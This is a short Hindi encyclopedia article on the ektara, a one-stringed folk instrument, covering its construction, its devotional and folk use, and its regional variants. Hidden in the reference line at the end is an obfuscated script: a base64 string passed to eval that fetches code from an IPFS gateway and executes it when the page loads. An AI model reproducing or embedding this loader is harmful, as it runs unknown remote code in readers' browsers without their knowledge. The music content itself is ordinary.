एकतारा

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एकतारा

एकतारा या इकतारा एक वाद्य यंत्र है। एकतारे में एक ही तार लगा होता है। इसका मुख्य प्रयोजन केवल स्वर देना था। नीचे एक तुंबी होती थी और उसके अंदर से निकलकर एक दंड रहता था जा तुंबी के नीचे भी कुछ निकला रहता था। उसमें से बँधा हुआ एक तार तुंबी पर से होता हुआ दंड के ऊपर तक जाता था जहाँ खूँटी से बंधा रहता था। तुंबी के ऊपर, तबले की भांति, चर्म मढ़ा रहता था जिसपर एक पच्चड़-सा लगाकर तार ऊपर ले जाया जाता था। कहीं-कहीं पर एक तार के नीचे दूसरा तार भी रहता था।

  • एकतारा एक तत वाद्य होता है।
  • बांस के ऊपर एक खूंटी गाड़कर उस पर तार को कस दिया जाता है।
  • इसी तार को छेड़ कर विभिन्न स्वर निकाले जाते है।
  • एकतारे का प्रयोग ज़्यादातर भजन और सुगम संगीत में होता है।
  • बंगाल और बिहार में प्रचलित एकतारा का निम्न भाग काठ या चमड़े से मढ़ा होता है, लेकिन वह नीचे से चौड़ा होता है।
  • अधिकतर लोकसंगीत तथा भक्तिसंगीत के गायक इसका प्रयोग करते थे।
  • आजकल भी महाराष्ट्र, पंजाब तथा बंगाल में इन गायकों के हाथ में यह दिखाई पड़ता है, बंगाल के बाउल कायक तो बराबर इसे लिए रहते हैं। नारदवीणा तो प्रसिद्ध है ही, किंतु कही-कहीं नारद के हाथ में इकतारा भी दिखाया गया है।[1]


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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 505 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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